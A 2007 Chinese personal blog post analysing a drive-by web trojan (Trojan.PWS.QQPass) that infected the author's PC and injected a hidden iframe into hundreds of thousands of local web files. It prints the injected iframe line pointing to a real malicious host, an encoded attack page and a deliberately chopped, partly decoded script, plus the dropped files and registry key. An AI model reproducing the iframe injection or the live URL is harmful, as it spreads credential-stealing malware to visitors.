Afly's Official Website
支持2008北京奥运~
(2007-09-27 22:43:27) **
http://www.***.com
(2007-09-27 22:43:31) **
你帮我看看
(2007-09-27 22:43:45) **
会不会是被人黑了
(2007-09-27 22:44:42) **
为什么一开就自动关了?
(2007-09-27 22:47:04) **
一点开就自动把网站窗口关了
(2007-09-27 22:47:20) **
除了自己的网站,看其它的网都好好的呀
……(2007-09-27 22:44:42)
(2007-09-27 22:47:30) Afly
中毒了。
今晚开机听歌，Winamp 的 Minilyrics 报错，说皮肤的 XML 文件无法加载。非常之奇怪，文件明明正常地存在，又没动过 Winamp 的设置。然后发现 xml 文件底部被嵌入了 iframe，然后发现一个硬盘下居然有 autorun.exe，第一时间打开 Process Viewer，查看 Explorer 的模块，赫然发现多了一个创建时间为 2007年9月27日, 22:44:23 的 C:\Program Files\Internet Explorer\PLUGINS\WinSys74.Sys，联想到昨天开机 Explorer 莫名其妙异常关闭，心一凉，百密一疏，居然还是中招了，哎！时间要回到两天前……
虽然明知有机关，还是凭着对诺顿对自己的绝对信心直接点击打开：Internet Explorer 错误自动关闭。再试尝试用 HttpWatch 捕捉内容，一样崩溃退出。但已经可以明显看到页面底部被嵌入了框架，100% 确认，那就是“中毒了”。当我这样回复朋友的时候，还以为只是自己崩溃了一个 IE 而已，完全没察觉其实我自己已经中招了……
话说当惊察自己已经中毒的时候，第一时间断了网络，删掉所有上网缓存文件和系统临时文件，查找创建时间为该天的所有文件，查找所有包含病毒关键字眼的网页文件……这是最基本的吧，哈哈，已经很熟手了。木马的根除还是留后再说，说回病毒原理，话说被感染的页面底部嵌入的病毒代码为：
<iframe src=http://71003.cn/index.htm width=0 height=0></iframe>
其连接的页面内容为：
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" >
<title></title>
</head><body>
柬弭釥梏麴聃轹矫镱翦铘鍫泔铘孱艚翦繇旎汨狎箦艚玮渤辈炯筱蜷痿句镢蹴孱舢黩轸濞躅弩汜疱áコ氓烦ザ偿凡ザ攻钒シ触舶ザ氓侗ザ钮斗シ单侗ザ伐兜コ磨范ザ播烦ザ偿凡ザ攻泸轲艟疋绨俪偻痂眺嵝胃碌馁柩砉右隔短粟帐庵梢跬弑躲擦蝌由蹉醋孪捎篚徙潋诹胴渥吊穷湫咽秀樗佣谈伺助邛星绨蹴拟鲼想祠笋票灾蒲纡蔑鲥乱栊罡嗣企笸鸬栀鸢傍抡弩犏儿嶷沭祜蛎漪璐嶂舰峰汴垤鄿痍菁沭陿耔唣宓涗忉徵锕瓭汄揞熹骅殂烘闊犷掊哚觐彷旒檿惰犷掊邿铑嗟觑铼屐鐭蝈犰饧澿哞怃竦珣濍蓠觇獒桄戈鞓囫荛廒轳哚锏棛贯囫荛鈽眈薰哔沣皙屐鐭蝈犰饧澿哞怃竦涳醋孪捎篚徙潋诹胴渥楦跸哺吊穷湫咽秀樗佣谈伺助邛星绨蹴拟鲼想祠笋票灾蒲纡蔑鲥乱栊罡嗣企笸鸬栀鸢傍抡弩犏儿
……………………
</body></html>
乍看不过是乱码一片，但实际 IE（Firefox 和 Opera 不会识别）打开时就会 XYZ 了（由于内容较长且本身有攻击性故中间做了一些省略），其实是经过 US-ASCII 加密了的，而直接查看源文件，会发现是一堆乱码而已。解密的方法很简单：将网页“另存为”，保存的时候在语言选项将“西欧(windows)”改成“简体GB2312”，然后打开就会发现源码为：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0025)http://71003.cn/index.htm -->
<HTML><HEAD><TITLE></TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="MSHTML 6.00.2800.1476" name=GENERATOR></HEAD>
<BODY>
SCRIPTocment.write(une("%3C%73%63%72%69%70%7467%75
bg0Y3zMpyyLwaPN8B5DYh8t6LKZUJbVywIRuM_[l` pj]<+2-).-cpjqh_pe5*$dbaago9- r^nldfhic:fi an^e_ajna]l<+:6han^e_ nn`5joo*elg realb<+! `_hbdq5++! k]qjhiahf8jl`q\ibZiq_ao5*=9a`q\ibmq^9_Yccp*elg realb<+! `_hbdq5*$o`jikgek_7mj cj[l`^lj^dm9-6 7ecj[l` pj]<N]A^M-CPJQH_PE5++! `_HBDQ5*$O`JIKGEK_7MJ CJ[L`^LJ^DM9-6 7ECJ[L` PJ]<E]A&BSH TA^SC9- G`ED`N<+! K]QJHIAHF8JL`Q\IBZIQ_AO5*=9A`Q\IBMQ^9UMHK`E+`NLSF\NG8,BDDCEL7
cript
empStr):ext:self.docuwrite(deencrypt)?):T8yxVECymwyZj78VytcO4Fz5g7lyGM1OfjS9TDwFauXwqyzyWuC
UBounTepStr):deEncryeEncrypt" To i="0" If:Ne
empStrrrum)?&Chr(13)&Preserve Then?&Chr(13)&?m+1:R
000)=" Md (i TempCharf:TempStr(arrNum)="TempS
hen?&C(1)&?TempChar='&Chr(13)&"ElseIfhr(28
eyArrL))If TempNum="1en tempNum="17"
f:Tempm=Asc(Mid(
hr(37)hr-23636)&chr(-)&chr(-13868)&chr(-17678(46)&
hen?&C(1)&?progressCo0:status=chr(-11567)&amp;c100))"
rogresout="500" strLeprogressCount="progressC
f:KeyALe="ubound(KeyA:For"
earchL-1KeyArr(i)='cid(searchStr,i+1,1)):next&
eyArr(arhLen-1):for sLen:searchLen="len(searc
eyArr(:KyArr(0)='1:Ke1)=5:KeyArr(2)=4:KeyArr()=8:KsearchStr=right(searchStr,len(searchStr)-1):dim'
hen?&C(1)&?redim ?? sStr=""
eyArrL:sarchStr="doculocation.search:if" sear
empStr):trLength="
p[lngha<k ^l`ha_glc`n8f^l`ha klb8tr](goi occombm
</BODY></HTML>
当然，上面这段代码也是做了随机的竖切处理，到这里继续分析的话应该可以追查到 IE 被针对的某个漏洞。不过在清除木马的过程中深究的热情已经被一点一滴消耗掉，所以作罢。不过有点我很佩服：木马利用 US-ASCII 加密来达到躲避诺顿的方法确实巧妙！
就是硬盘上所有的 html、htm、asp、php、xml 文件的底部都多了文章第五段的那行代码。累计起来有几十万的网页文件都被感染了，挖靠，最后不得不下个专门的搜索替换软件来处理：Search and Replace，很不错，顺便推荐一下。
这是最表象的症状而已，最主要的是它会在系统目录生成 weiyuan.exe（6.14 KB (6,296 字节)）、windows.txt、data.txt 三个文件；注册表多了：HKEY_CLASSES_ROOT\CLSID\{1AB09B3F-A6D0-4B55-B87D-264934EBEAED} 项；最最主要的是系统 Explorer 会加载一个系统文件，路径为：C:\Program Files\Internet Explorer\PLUGINS\WinSys74.Sys，有时会显示为 WinSys74.Sys_，当然，这个毋庸置疑要在 DOS 下删，具体就不累述了。
扫描类型： 实时防护 扫描
事件： 已发现病毒！
病毒名称: Trojan.PWS.QQPass
文件： D:\Desktop\fuck\WinSys74.Sys_
位置：隔离区
计算机：AFLY
用户：Afly
采用的操作：隔离 成功 : 拒绝访问
发现的日期： 2007年9月29日 22:06:30
注：在我拷贝木马原样打算再做研究时，诺顿报警了。一看是 QQ 木马，我第一时间更新密码保护资料并修改了密码！汗，还是汗…………另外：文中病毒连接为真实地址，未做处理，DO NOT TRY THIS AT HOME！
Freeman (57)